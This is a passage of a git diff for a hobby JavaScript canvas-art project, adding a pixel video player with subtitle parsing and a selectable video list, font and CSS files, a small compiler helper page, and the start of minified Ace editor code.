dieux","link":"https://jsart.ponali.repl.co/videos/le-domaine-des-dieux.auto"},{"txt":"HUH!?!?","link":"https://jsart.ponali.repl.co/videos/huh.mp4"},{"special":1,"txt":"Use MP4 link"},{"special":2,"txt":"Use video file"}]}; + window.vidvw.cnv.width=window.vidvw.cnv.height=512; + window.vidvw.ctx=window.vidvw.cnv.getContext("2d"); + + window.vidvw.toDataURL = ((url, callback)=>{ + var xhr = new XMLHttpRequest(); + xhr.open('get', url); + xhr.responseType = 'blob'; + xhr.onload = function(){ + var fr = new FileReader(); + + fr.onload = function(){ + callback(this.result); + }; + + fr.readAsDataURL(xhr.response); // async call + }; + + xhr.send(); + }); + + + function loadVideo(currentLink){ + window.vidvw.ctx.clearRect(0,0,512,512) + window.vidvw.source=currentLink; + window.vidvw.toDataURL(currentLink, function(dataURL){ + window.vidvw.imge=document.createElement("video"); + window.vidvw.imge.src = dataURL.replace("text/xml","video/mp4"); + if(!window.vidvw.usingAuto){ + window.vidvw.imge.setAttribute("loop","true"); + } + console.log("set data url, waiting for video to load...") + window.vidvw.imge.addEventListener( "loadedmetadata", function (e) { + var width = this.videoWidth, + height = this.videoHeight; + window.vidvw.naturalSize=[width,height]; + console.log("saved video size"); + }, false ); + + window.vidvw.imge.oncanplaythrough=(()=>{ + console.log(window.vidvw) + //window.vidvw.imge.oncanplaythrough=null; + setTimeout(()=>{if(!window.vidvw.loaded){ + try{ + console.log("video loaded! preparing.") + window.vidvw.imge.play(); + function getSizeFromRatio(ratio,sqsize){ + if(ratio>1){ + return [sqsize,Math.floor(sqsize/ratio)] + } else { + return [Math.floor(sqsize*ratio),sqsize] + } + }; + let size = getSizeFromRatio((window.vidvw.naturalSize[0]/window.vidvw.naturalSize[1]),512) + window.vidvw.imageSize = size; + window.vidvw.loaded=true; + }catch (e){ + console.error("Could not load video (chunk)! Trying again soon.") + console.error(e); + setTimeout(()=>{try{window.vidAuto.vidIdx-=1;}catch (e){console.log(e);};loadVideo(currentLink)},1200) + }; + };},3000); + }) + }); + } + + function parseSubtitle(){ + let substxt = window.vidAuto.subtitles[window.vidAuto.loadedSubtitle].split("\n"); + let subtitles = []; + for(i=0;i<(substxt.length/4);i++){ + let idx = i*4; + try{ + let sub = {"id":substxt[idx],"txt":substxt[idx+2]+"\n"+substxt[idx+3]}; + //console.log(substxt[idx+1]); + let timetxt = substxt[idx+1].split(" --> "); + let timefi = timetxt[0].split(":"); + timefi=(((parseInt(timefi[0],10)*60)+parseInt(timefi[1],10))*60)+parseFloat(timefi[2].replace(",","."),10)*1; + let timesc = timetxt[1].replace("\r","").split(":"); + timesc=(((parseInt(timesc[0],10)*60)+parseInt(timesc[1],10))*60)+parseFloat(timesc[2].replace(",","."),10)*1; + sub.start=timefi; + sub.finish=timesc; + if(substxt[idx+3]!="\r"){ + i+=0.25; + } + subtitles.push(sub); + } catch { + console.log("Invalid subtitle part! idx:"+idx); + } + }; + console.log(subtitles); + window.vidAuto.parsedSubs=subtitles; + } + + window.vidvw.startLoading = function(){ + if(window.vidvw.imge){window.vidvw.imge.pause();} + let link = (window.cimgurl ? window.cimgurl : "https://jsart.ponali.repl.co/videos/meow.mp4"); + window.vidvw.imageOrigin = link; + if(link.includes(".auto")){ + window.vidvw.usingAuto=1; + fetch(link).then(data=>data.text()).then(body=>{ + let ajson = JSON.parse(body); + if(window.vidAuto){ + window.vidAuto.vidIdx+=1; + if(window.vidAuto.vidIdx>(ajson.parts.length-1)){ + window.vidAuto.vidIdx=0; + } + } else { + window.vidAuto={"vidIdx":0,"subtitles":{},"parsedSubs":[],"loadedSubtitle":"none","subIdx":0,"lenView":ajson.allowTimeView,"lenChange":ajson.allowTimeChange}; + }; + if(ajson.subtitles){ + let sbkeys = Object.keys(ajson.subtitles); + for(i=0;idata.text()).then(sbody=>{ + window.vidAuto.subtitles[sublan]=sbody; + if(sublen==Object.keys(window.vidAuto.subtitles).length){ + console.log("All subtitles loaded!"); + console.log(window.vidAuto.subtitles) + if(window.vidAuto.subtitles[navigator.languages[1]]){ + window.vidAuto.loadedSubtitle=navigator.languages[1]; + } else if(window.vidAuto.subtitles["en"]) { + window.vidAuto.loadedSubtitle="en"; + console.log("subtitle for browser language "+navigator.languages[1]+" not found!") + } else { + console.log(navigator.languages[1]+" and en subtitle not found!") + window.vidAuto.loadedSubtitle=sbkeys[0]; + }; + console.log("loading "+window.vidAuto.loadedSubtitle+" subtitle.") + parseSubtitle(); + }; + }) + } + } + loadVideo(ajson.parts[window.vidAuto.vidIdx]); + }) + } else { + window.vidvw.usingAuto=0; + loadVideo(link) + } + }; + + if(window.iAmTheRefreshButton=="and i ask you to not go to menu 2."){ + window.vidvw.menu=0; + window.iAmTheRefreshButton=null; + window.vidvw.startLoading(); + } + + } + } + + let txte = (()=>{ if(x==0&&y==0){if(!window.vidvw.texte){(()=>{ fetch("https://jsart.ponali.repl.co/modules/txt-small.txt").then(data=>data.text()).then((body)=>{window.vidvw.texte.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body);}) })();window.vidvw.texte={"func":(()=>{})};}} return window.vidvw.texte.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(); + let imgidx = (x*2)+(y*1024); + if(k==88){ + imgidx=(x+Math.floor(mx))+((y+Math.floor(my))*512); + } + let idata=0x00ff00; + if(window.vidvw.loaded){ + idata = [window.vidvw.imgdata.data[(imgidx*4)],window.vidvw.imgdata.data[(imgidx*4)+1],window.vidvw.imgdata.data[(imgidx*4)+2]]; + } else { + idata = Math.floor((Math.floor((x+y)/20)%2)*Math.min(c*3,255))*(0xffff00/0xff); + idata = [Math.floor(idata/65536)%256,Math.floor(idata/256)%256,idata%256]; + } + let infobar = (my>(244-7)&&window.vidvw.loaded&&k!=88&&window.vidvw.menu==0); + let fade = (1-(0.5*((y>243||y<13)&&infobar)))+(0.25*(y>243&&infobar&&x>105&&mx>105&&x<154&&mx<154))+(0.25*(y>243&&infobar&&x>200&&mx>200))+(0.25*(y>243&&infobar&&x<59&&mx<59)); + if(window.vidvw.menu==1){ + fade=0.25+(0.25*(y<12&&my<12&&x<34&&mx<34)); + } else if(window.vidvw.menu==2){ + fade=((256-y)/512); + if((Math.floor(my/24)*24)>(y-24)&&(Math.floor(my/24)*24)(243-7)){ + let scrdur = Math.floor((window.vidvw.imge.currentTime/window.vidvw.imge.duration)*256); + scrui=128; + if((window.vidvw.usingAuto&&window.vidAuto.lenView)||(!window.vidvw.usingAuto)){ + if(x40)),0,110,1)|txte("For more information about this,",0,150,1)|txte("Check the DevTools Console by",0,170,1)|txte("pressing Ctrl+Shift+I.",0,190,1); + } else if (window.vidvw.menu==2){ + let currentText = 0; + for(i=0;i32){ + let elem = subtext[i]; + let last=elem.slice(0,32).lastIndexOf(" "); + subtext[i]=elem.slice(0,last); + subtext.splice(i+1, 0, elem.slice(last+1)); + }; + for(j=0;j128){ + //console.log("replacing unsupported character: "+subtext[i]); + let str = subtext[i].split(""); + str[j]=ascii7replace[subtext[i].charCodeAt(j)-129]; + subtext[i]=str.join(""); + } + } + }; + if(!(currentTime>subs[window.vidAuto.subIdx].start)){ + subtext = []; + }; + window.vidAuto.subtitleText=subtext; + }catch{window.vidAuto.subtitleText=["Subtitles prob. unavailable"]} + } + window.vidvw.time=["Unavailable","Unavailable"]; + function calculateTime(ti){ + if(ti==Infinity){return "prob. WEBM zero"} + if(ti==0){return "Time = 0";} + let elems = [Math.floor(ti/86400),Math.floor(ti/3600)%24,Math.floor(ti/60)%60,Math.floor(ti)%60]; + for(i=0;i=0&&my>=0){ + if(((cl==1&&mx>200&my>243&&k!=88)||k==82)&&window.vidvw.loaded==true){window.vidvw.imge.pause();if(!!window.vidvw.usingAuto){window.vidAuto.vidIdx--;};window.vidvw=null;window.iAmTheRefreshButton="and i ask you to not go to menu 2.";} + if(cl==1&&my>243&&mx>105&&mx<154){ + window.vidvw.imge.pause(); + window.vidvw.menu=2; + } + if((cl==1&&mx<59&my>243&&k!=88)&&window.vidvw.loaded==true){window.vidvw.menu=1;/*console.log('%c-- JSArt mPlayer --\n%cWelcome to my JSAM Video Viewer! If you\'re here to learn more about this, then you\'re in the right place! Here\'s what you need to know:\n\n- Most of the code was taken from %cpicsum.js%c, which is an image viewer that gets JPGs from https://lorem.picsum/ and puts it in a canvas. Mostly everything in this list works in there, too.\n\n- You can zoom in a part of the video by pressing "x" and moving your mouse.\n\n- You can press the left or right arrow keys to move backwards and forwards through the video. This will certainly help for videos being an hour long.\n\n- You can press "r" to reload the video. In picsum, it will get another image because picsum always loads random images for every request.\n\n- You can change the current time of the video by clicking on the blue bar that appears when your mouse is in the bottom of the screen.\n\n- Custom videos are possible! Use the command window.%ccimgurl%c=%c"[http(s) link]"%c;, reload, and the video requested is running! %cIf it does not load due to a CORS issue, do not blame me, it is the fault of the developer of the website requested. If another error occurs, message me (discord: @ponali) regarding your issue and the link you requested.%c\nWe offer you videos to test on and to look at:\nhttps://jsart.ponali.repl.co/videos/outputmayo.mp4 for m a y o\'s reaction to the 6/21/2023 nintendo direct.\nhttps://jsart.ponali.repl.co/videos/my-honest-reaction.webm originally a part of "The Mario Kart 8 Deluxe OST got me like" from TheShadowCrafter.\nhttps://jsart.ponali.repl.co/videos/outputstewie.mp4 comes from an edit made by SuperWiiBros08.\nhttps://jsart.ponali.repl.co/videos/outputwii.mp4 a compilation on what SuperWiiBros08 posted on twitter/tumblr.\nhttps://jsart.ponali.repl.co/videos/output-hard-drive.mp4 a compilation of videos i had in my hard drive with a datamosh cut.\nhttps://jsart.ponali.repl.co/videos/le-domaine-des-dieux.auto A film that only came in france. French and English subtitles are available.\nhttps://jsart.ponali.repl.co/videos/huh.mp4 HUH!?!?!?\n\nHave fun using this video viewer! @Ponali',"color:yellow;font-size:20px;font-style: italic;","","background-color:#0000ff;","","color:yellow;","","color:orange;","","background-color:red;","");*/} + if(cl==1&&my<=243&&my>(243-7)){ + if((window.vidvw.usingAuto&&window.vidAuto.lenChange)||(!window.vidvw.usingAuto)){ + let newtime = (mx/256)*window.vidvw.imge.duration; + window.vidvw.imge.currentTime=newtime; + }; + }; + if(cl==1&&my<(244-7)){ + if(window.vidvw.clicking!=cl){ + togglePause(); + } + }; + window.vidvw.clicking=cl; + }; + } else if(window.vidvw.menu==1){ + if(cl==1&&mx<34&&my<12){ + window.vidvw.menu=0; + } + } else if(window.vidvw.menu==2){ + if(cl==1){ + let idx = Math.floor(my/24); + let elem = window.vidvw.selectList[idx]; + if(!elem.special){ + window.vidvw.loaded=false; + window.vidvw.menu=0 + window.cimgurl=elem.link; + window.vidvw.startLoading(); + } else if (elem.special==1){ + let htelem = document.createElement("div"); + htelem.innerHTML='Enter URL:

'; + htelem.querySelector("#mplEnterBtn").addEventListener("click",()=>{ + let value = htelem.querySelector("#mplURL").value; + window.vidvw.loaded=false; + window.vidvw.menu=0; + window.cimgurl=value; + window.vidvw.startLoading(); + htelem.outerHTML=""; + },true) + htelem.querySelector("#mplCancelBtn").addEventListener("click",()=>{ + htelem.outerHTML=""; + },true) + document.body.insertBefore(htelem,document.querySelector("#about")) + } else if (elem.special==2){ + let htelem = document.createElement("div"); + htelem.innerHTML='Insert file:
'; + htelem.querySelector("#mplEnterBtn").addEventListener("click",()=>{ + let value = htelem.querySelector("#mplFile"); + var reader = new FileReader(); + reader.readAsDataURL(value.files[0]); + reader.onload = function () { + let link = reader.result; + window.vidvw.loaded=false; + window.vidvw.menu=0; + window.cimgurl=link; + window.vidvw.startLoading(); + htelem.outerHTML=""; + }; + reader.onerror = function (error) { + console.log(error); + }; + },true) + htelem.querySelector("#mplCancelBtn").addEventListener("click",()=>{ + htelem.outerHTML=""; + },true) + document.body.insertBefore(htelem,document.querySelector("#about")) + } + } + }; + if(window.vidvw.loaded){ + window.vidvw.ctx.clearRect(0,0,512,512) + window.vidvw.ctx.drawImage(window.vidvw.imge,Math.floor((512-(window.vidvw.imageSize[0]))/2),Math.floor((512-(window.vidvw.imageSize[1]))/2),window.vidvw.imageSize[0],window.vidvw.imageSize[1]); + window.vidvw.imgdata = window.vidvw.ctx.getImageData(0,0,512,512); + } + } + if(!window.vidvw){ + window.vidvw = {"cnv":document.createElement("canvas"),"ctx":{},"dataURL":"","loaded":false,"menu":2,"imageOrigin":"","keyPress":0,"clicking":0,"auto":[],"usingAuto":0,"source":"","selectList":[{"txt":"meow by lvusm for 1 hour","link":"https://jsart.ponali.repl.co/videos/meow.mp4"},{"txt":"mayo's 6/21/2023 reaction","link":"https://jsart.ponali.repl.co/videos/outputmayo.mp4"},{"txt":"My Honest Reaction","link":"https://jsart.ponali.repl.co/videos/my-honest-reaction.webm"},{"txt":"Stewie Green Screen","link":"https://jsart.ponali.repl.co/videos/outputstewie.mp4"},{"txt":"SuperWiiBros08 Twitter comp.","link":"https://jsart.ponali.repl.co/videos/outputwii.mp4"},{"txt":"Ponali's hard drive","link":"https://jsart.ponali.repl.co/videos/output-hard-drive.mp4"},{"txt":"Asterix: Le domaine des dieux","link":"https://jsart.ponali.repl.co/videos/le-domaine-des-dieux.auto"},{"txt":"HUH!?!?","link":"https://jsart.ponali.repl.co/videos/huh.mp4"},{"special":1,"txt":"Use MP4 link"},{"special":2,"txt":"Use video file"}]}; + window.vidvw.cnv.width=window.vidvw.cnv.height=512; + window.vidvw.ctx=window.vidvw.cnv.getContext("2d"); + + window.vidvw.toDataURL = ((url, callback)=>{ + var xhr = new XMLHttpRequest(); + xhr.open('get', url); + xhr.responseType = 'blob'; + xhr.onload = function(){ + var fr = new FileReader(); + + fr.onload = function(){ + callback(this.result); + }; + + fr.readAsDataURL(xhr.response); // async call + }; + + xhr.send(); + }); + + + function loadVideo(currentLink){ + window.vidvw.ctx.clearRect(0,0,512,512) + window.vidvw.source=currentLink; + window.vidvw.toDataURL(currentLink, function(dataURL){ + window.vidvw.imge=document.createElement("video"); + window.vidvw.imge.src = dataURL.replace("text/xml","video/mp4"); + if(!window.vidvw.usingAuto){ + window.vidvw.imge.setAttribute("loop","true"); + } + console.log("set data url, waiting for video to load...") + window.vidvw.imge.addEventListener( "loadedmetadata", function (e) { + var width = this.videoWidth, + height = this.videoHeight; + window.vidvw.naturalSize=[width,height]; + console.log("saved video size"); + }, false ); + window.vidvw.imge.oncanplaythrough=(()=>{ + try{ + console.log("video loaded! preparing.") + window.vidvw.imge.play(); + function getSizeFromRatio(ratio,sqsize){ + if(ratio>1){ + return [sqsize,Math.floor(sqsize/ratio)] + } else { + return [Math.floor(sqsize*ratio),sqsize] + } + }; + let size = getSizeFromRatio((window.vidvw.naturalSize[0]/window.vidvw.naturalSize[1]),512) + window.vidvw.imageSize = size; + window.vidvw.loaded=true; + }catch{ + if(!!window.vidAuto){ + window.vidAuto.vidIdx-=1; + }; + loadVideo(currentLink) + }; + }) + }); + } + + function parseSubtitle(){ + let substxt = window.vidAuto.subtitles[window.vidAuto.loadedSubtitle].split("\n"); + let subtitles = []; + for(i=0;i<(substxt.length/4);i++){ + let idx = i*4; + try{ + let sub = {"id":substxt[idx],"txt":substxt[idx+2]+"\n"+substxt[idx+3]}; + //console.log(substxt[idx+1]); + let timetxt = substxt[idx+1].split(" --> "); + let timefi = timetxt[0].split(":"); + timefi=(((parseInt(timefi[0],10)*60)+parseInt(timefi[1],10))*60)+parseFloat(timefi[2].replace(",","."),10)*1; + let timesc = timetxt[1].replace("\r","").split(":"); + timesc=(((parseInt(timesc[0],10)*60)+parseInt(timesc[1],10))*60)+parseFloat(timesc[2].replace(",","."),10)*1; + sub.start=timefi; + sub.finish=timesc; + if(substxt[idx+3]!="\r"){ + i+=0.25; + } + subtitles.push(sub); + } catch { + console.log("Invalid subtitle part! idx:"+idx); + } + }; + console.log(subtitles); + window.vidAuto.parsedSubs=subtitles; + } + + window.vidvw.startLoading = function(){ + let link = (window.cimgurl ? window.cimgurl : "https://jsart.ponali.repl.co/videos/meow.mp4"); + window.vidvw.imageOrigin = link; + if(link.includes(".auto")){ + window.vidvw.usingAuto=1; + fetch(link).then(data=>data.text()).then(body=>{ + let ajson = JSON.parse(body); + if(window.vidAuto){ + window.vidAuto.vidIdx+=1; + if(window.vidAuto.vidIdx>(ajson.parts.length-1)){ + window.vidAuto.vidIdx=0; + } + } else { + window.vidAuto={"vidIdx":0,"subtitles":{},"parsedSubs":[],"loadedSubtitle":"none","subIdx":0,"lenView":ajson.allowTimeView,"lenChange":ajson.allowTimeChange,"lengthShifts":ajson.partLengthShift}; + }; + if(ajson.subtitles){ + let sbkeys = Object.keys(ajson.subtitles); + for(i=0;idata.text()).then(sbody=>{ + window.vidAuto.subtitles[sublan]=sbody; + if(sublen==Object.keys(window.vidAuto.subtitles).length){ + console.log("All subtitles loaded!"); + console.log(window.vidAuto.subtitles) + if(window.vidAuto.subtitles[navigator.languages[1]]){ + window.vidAuto.loadedSubtitle=navigator.languages[1]; + } else if(window.vidAuto.subtitles["en"]) { + window.vidAuto.loadedSubtitle="en"; + console.log("subtitle for browser language "+navigator.languages[1]+" not found!") + } else { + console.log(navigator.languages[1]+" and en subtitle not found!") + window.vidAuto.loadedSubtitle=sbkeys[0]; + }; + console.log("loading "+window.vidAuto.loadedSubtitle+" subtitle.") + parseSubtitle(); + }; + }) + } + } + loadVideo(ajson.parts[window.vidAuto.vidIdx]); + }) + } else { + window.vidvw.usingAuto=0; + loadVideo(link) + } + }; + + if(window.iAmTheRefreshButton=="and i ask you to not go to menu 2."){ + window.vidvw.menu=0; + window.iAmTheRefreshButton=null; + window.vidvw.startLoading(); + } + + } + } + + let txte = (()=>{ if(x==0&&y==0){if(!window.vidvw.texte){(()=>{ fetch("https://jsart.ponali.repl.co/modules/txt-small.txt").then(data=>data.text()).then((body)=>{window.vidvw.texte.func= new Function("i","t","x","y","mx","my","sw","sh","c","ic","cl","k",body);}) })();window.vidvw.texte={"func":(()=>{})};}} return window.vidvw.texte.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })(); + let imgidx = (x*2)+(y*1024); + if(k==88){ + imgidx=(x+Math.floor(mx))+((y+Math.floor(my))*512); + } + let idata=0x00ff00; + if(window.vidvw.loaded){ + idata = [window.vidvw.imgdata.data[(imgidx*4)],window.vidvw.imgdata.data[(imgidx*4)+1],window.vidvw.imgdata.data[(imgidx*4)+2]]; + } else { + //idata = Math.floor((Math.floor((x+y)/20)%2)*Math.min(c*3,255))*(0xffff00/0xff); + let author ="@slinx92 on Discord" + idata = loadingTx(x,y) + let auText=txte(author,0,0,1); + idata=(auText?auText:idata) + idata = [Math.floor(idata/65536)%256,Math.floor(idata/256)%256,idata%256]; + } + let infobar = (my>(244-7)&&window.vidvw.loaded&&k!=88&&window.vidvw.menu==0); + let fade = (1-(0.5*((y>243||y<13)&&infobar)))+(0.25*(y>243&&infobar&&x>105&&mx>105&&x<154&&mx<154))+(0.25*(y>243&&infobar&&x>200&&mx>200))+(0.25*(y>243&&infobar&&x<59&&mx<59)); + if(window.vidvw.menu==1){ + fade=0.25+(0.25*(y<12&&my<12&&x<34&&mx<34)); + } else if(window.vidvw.menu==2){ + fade=((256-y)/512)+0.35; + if((Math.floor(my/24)*24)>(y-24)&&(Math.floor(my/24)*24)(243-7)){ + let scrdur = Math.floor((window.vidvw.imge.currentTime/window.vidvw.imge.duration)*256); + scrui=128; + if((window.vidvw.usingAuto&&window.vidAuto.lenView)||(!window.vidvw.usingAuto)){ + if(x40)),0,110,1)/*|txte("For more information about this,",0,150,1)|txte("Check the DevTools Console by",0,170,1)|txte("pressing Ctrl+Shift+I.",0,190,1)*/; + } else if (window.vidvw.menu==2){ + let currentText = 0; + for(i=0;i + + + +Created by FontForge 20090914 at Fri Feb 24 15:37:53 2012 + By root +Copyright (c) 2011, Andrew Paglinawan (www.andrewpaglinawan.com), with Reserved Font Name "Quicksand". + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/files/jsart/font/Quicksand-Regular.ttf.woff b/files/jsart/font/Quicksand-Regular.ttf.woff new file mode 100644 index 0000000..433989e Binary files /dev/null and b/files/jsart/font/Quicksand-Regular.ttf.woff differ diff --git a/files/jsart/helper/css/style.css b/files/jsart/helper/css/style.css new file mode 100644 index 0000000..0348bc0 --- /dev/null +++ b/files/jsart/helper/css/style.css @@ -0,0 +1,43 @@ +html, body { + height: 100% !important; +} + +body { + display: flex !important; + margin: 0 !important; + text-align: center !important; +} + +#editor { + flex: 1 !important; + padding: 8px !important; + background-color: #d8d8d8; +} + +#preview { + padding: 8px !important; +} + +#input { + width: 100% !important; + height: 300px !important; + margin-bottom: 8px !important; +} + +#output { + height: 100px !important; + display: block !important; + width: 100% !important; + margin-bottom: 8px !important; + resize: none !important; + box-sizing: border-box !important; +} + +canvas { + image-rendering: pixelated !important; +} + +#input.ace_editor.ace_tm *{ + background-color:black !important; + color:white !important; +} \ No newline at end of file diff --git a/files/jsart/helper/index.html b/files/jsart/helper/index.html new file mode 100644 index 0000000..6d5c1ea --- /dev/null +++ b/files/jsart/helper/index.html @@ -0,0 +1,31 @@ + + + JSArt Compiler + + + + + + + +
+
var xor = `(x^y)`; + +var xpos = `(x-128)`; +var ypos = `(y-128)`; + +var circleCheck = `((${xpos}*${xpos} + ${ypos}*${ypos}) > 10000)`; + +var spinX = `((Math.cos(t/1000)*${xpos})+(Math.sin(t/1000)*${ypos}))`; +var spinY = `((Math.cos(t/1000)*${ypos})+(-Math.sin(t/1000)*${xpos}))`; + +var spinningXor = `(${spinX} ^ ${spinY})`; + +return `${circleCheck} ? ${xor} : ${spinningXor}`;
+ +
+
+ +
+ + \ No newline at end of file diff --git a/files/jsart/helper/js/ace.js b/files/jsart/helper/js/ace.js new file mode 100644 index 0000000..2d615b6 --- /dev/null +++ b/files/jsart/helper/js/ace.js @@ -0,0 +1 @@ +!function(){var e=function(){return this}();if(e||"undefined"==typeof window||(e=window),"undefined"==typeof requirejs){var t=function(e,i,n){"string"==typeof e?(2==arguments.length&&(n=i),t.modules[e]||(t.payloads[e]=n,t.modules[e]=null)):t.original?t.original.apply(this,arguments):(console.error("dropping module because define wasn't a string."),console.trace())};t.modules={},t.payloads={};var i,n,s=function(e,t,i){if("string"==typeof t){var n=a(e,t);if(null!=n)return i&&i(),n}else if("[object Array]"===Object.prototype.toString.call(t)){for(var s=[],r=0,l=t.length;ri.length)&&(t=i.length),t-=e.length;var n=i.indexOf(e,t);return-1!==n&&n===t})),String.prototype.repeat||n(String.prototype,"repeat",(function(e){for(var t="",i=this;e>0;)1&e&&(t+=i),(e>>=1)&&(i+=i);return t})),String.prototype.includes||n(String.prototype,"includes",(function(e,t){return-1!=this.indexOf(e,t)})),Object.assign||(Object.assign=function(e){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),i=1;i>>0,n=arguments[1],s=n>>0,o=s<0?Math.max(i+s,0):Math.min(s,i),r=arguments[2],a=void 0===r?i:r>>0,l=a<0?Math.max(i+a,0):Math.min(a,i);o0;)1&t&&(i+=e),(t>>=1)&&(e+=e);return i};var n=/^\s\s*/,s=/\s\s*$/;t.stringTrimLeft=function(e){return e.replace(n,"")},t.stringTrimRight=function(e){return e.replace(s,"")},t.copyObject=function(e){var t={};for(var i in e)t[i]=e[i];return t},t.copyArray=function(e){for(var t=[],i=0,n=e.length;i=0?parseFloat((o.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]):parseFloat((o.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]),t.isOldIE=t.isIE&&t.isIE<9,t.isGecko=t.isMozilla=o.match(/ Gecko\/\d+/),t.isOpera="object"==typeof opera&&"[object Opera]"==Object.prototype.toString.call(window.opera),t.isWebKit=parseFloat(o.split("WebKit/")[1])||void 0,t.isChrome=parseFloat(o.split(" Chrome/")[1])||void 0,t.isEdge=parseFloat(o.split(" Edge/")[1])||void 0,t.isAIR=o.indexOf("AdobeAIR")>=0,t.isAndroid=o.indexOf("Android")>=0,t.isChromeOS=o.indexOf(" CrOS ")>=0,t.isIOS=/iPad|iPhone|iPod/.test(o)&&!window.MSStream,t.isIOS&&(t.isMac=!0),t.isMobile=t.isIOS||t.isAndroid})),define("ace/lib/dom",["require","exports","module","ace/lib/useragent"],(function(e,t,i){"use strict";var n,s=e("./useragent");t.buildDom=function e(t,i,n){if("string"==typeof t&&t){var s=document.createTextNode(t);return i&&i.appendChild(s),s}if(!Array.isArray(t))return t&&t.appendChild&&i&&i.appendChild(t),t;if("string"!=typeof t[0]||!t[0]){for(var o=[],r=0;r=1.5,s.isChromeOS&&(t.HI_DPI=!1),"undefined"!=typeof document){var l=document.createElement("div");t.HI_DPI&&void 0!==l.style.transform&&(t.HAS_CSS_TRANSFORMS=!0),s.isEdge||void 0===l.style.animationName||(t.HAS_CSS_ANIMATION=!0),l=null}t.HAS_CSS_TRANSFORMS?t.translate=function(e,t,i){e.style.transform="translate("+Math.round(t)+"px, "+Math.round(i)+"px)"}:t.translate=function(e,t,i){e.style.top=Math.round(i)+"px",e.style.left=Math.round(t)+"px"}})),define("ace/lib/net",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./dom");t.get=function(e,t){var i=new XMLHttpRequest;i.open("GET",e,!0),i.onreadystatechange=function(){4===i.readyState&&t(i.responseText)},i.send(null)},t.loadScript=function(e,t){var i=n.getDocumentHead(),s=document.createElement("script");s.src=e,i.appendChild(s),s.onload=s.onreadystatechange=function(e,i){!i&&s.readyState&&"loaded"!=s.readyState&&"complete"!=s.readyState||(s=s.onload=s.onreadystatechange=null,i||t())}},t.qualifyURL=function(e){var t=document.createElement("a");return t.href=e,t.href}})),define("ace/lib/event_emitter",["require","exports","module"],(function(e,t,i){"use strict";var n={},s=function(){this.propagationStopped=!0},o=function(){this.defaultPrevented=!0};n._emit=n._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var i=this._eventRegistry[e]||[],n=this._defaultHandlers[e];if(i.length||n){"object"==typeof t&&t||(t={}),t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=s),t.preventDefault||(t.preventDefault=o),i=i.slice();for(var r=0;r1&&(s=i[i.length-2]);var r=a[t+"Path"];return null==r?r=a.basePath:"/"==n&&(t=n=""),r&&"/"!=r.slice(-1)&&(r+="/"),r+t+n+s+this.get("suffix")},t.setModuleUrl=function(e,t){return a.$moduleUrls[e]=t};t.setLoader=function(e){e},t.$loading={},t.loadModule=function(i,n){var o,r;Array.isArray(i)&&(r=i[0],i=i[1]);try{o=e(i)}catch(e){}if(o&&!t.$loading[i])return n&&n(o);if(t.$loading[i]||(t.$loading[i]=[]),t.$loading[i].push(n),!(t.$loading[i].length>1)){var a=function(){e([i],(function(e){t._emit("load.module",{name:i,module:e});var n=t.$loading[i];t.$loading[i]=null,n.forEach((function(t){t&&t(e)}))}))};if(!t.get("packaged"))return a();s.loadScript(t.moduleUrl(i,r),a),l()}};var l=function(){a.basePath||a.workerPath||a.modePath||a.themePath||Object.keys(a.$moduleUrls).length||(console.error("Unable to infer path to ace from script src,","use ace.config.set('basePath', 'path') to enable dynamic loading of modes and themes","or with webpack use ace/webpack-resolver"),l=function(){})};t.version="1.8.1"})),define("ace/loader_build",["require","exports","module","ace/lib/fixoldbrowsers","ace/config"],(function(e,t,i){"use strict";e("./lib/fixoldbrowsers");var n=e("./config"),s=function(){return this||"undefined"!=typeof window&&window}();function o(t){if(s&&s.document){n.set("packaged",t||e.packaged||i.packaged||s.define&&define.packaged);for(var o,r={},a="",l=document.currentScript||document._currentScript,h=(l&&l.ownerDocument||document).getElementsByTagName("script"),c=0;c1?++u>4&&(u=1):u=1,o.isIE){var r=Math.abs(e.clientX-a)>5||Math.abs(e.clientY-l)>5;h&&!r||(u=1),h&&clearTimeout(h),h=setTimeout((function(){h=null}),i[u-1]||600),1==u&&(a=e.clientX,l=e.clientY)}if(e._clicks=u,n[s]("mousedown",e),u>4)u=0;else if(u>1)return n[s](d[u],e)}Array.isArray(e)||(e=[e]),e.forEach((function(e){c(e,"mousedown",g,r)}))};var d=function(e){return 0|(e.ctrlKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.metaKey?8:0)};function g(e,t,i){var n=d(t);if(!o.isMac&&r){if(t.getModifierState&&(t.getModifierState("OS")||t.getModifierState("Win"))&&(n|=8),r.altGr){if(3==(3&n))return;r.altGr=0}if(18===i||17===i){var l="location"in t?t.location:t.keyLocation;if(17===i&&1===l)1==r[i]&&(a=t.timeStamp);else if(18===i&&3===n&&2===l){t.timeStamp-a<50&&(r.altGr=!0)}}}if((i in s.MODIFIER_KEYS&&(i=-1),!n&&13===i)&&(3===(l="location"in t?t.location:t.keyLocation)&&(e(t,n,-i),t.defaultPrevented)))return;if(o.isChromeOS&&8&n){if(e(t,n,i),t.defaultPrevented)return;n&=-9}return!!(n||i in s.FUNCTION_KEYS||i in s.PRINTABLE_KEYS)&&e(t,n,i)}function f(){r=Object.create(null)}if(t.getModifierString=function(e){return s.KEY_MODS[d(e)]},t.addCommandKeyListener=function(e,i,n){if(o.isOldGecko||o.isOpera&&!("KeyboardEvent"in window)){var s=null;c(e,"keydown",(function(e){s=e.keyCode}),n),c(e,"keypress",(function(e){return g(i,e,s)}),n)}else{var 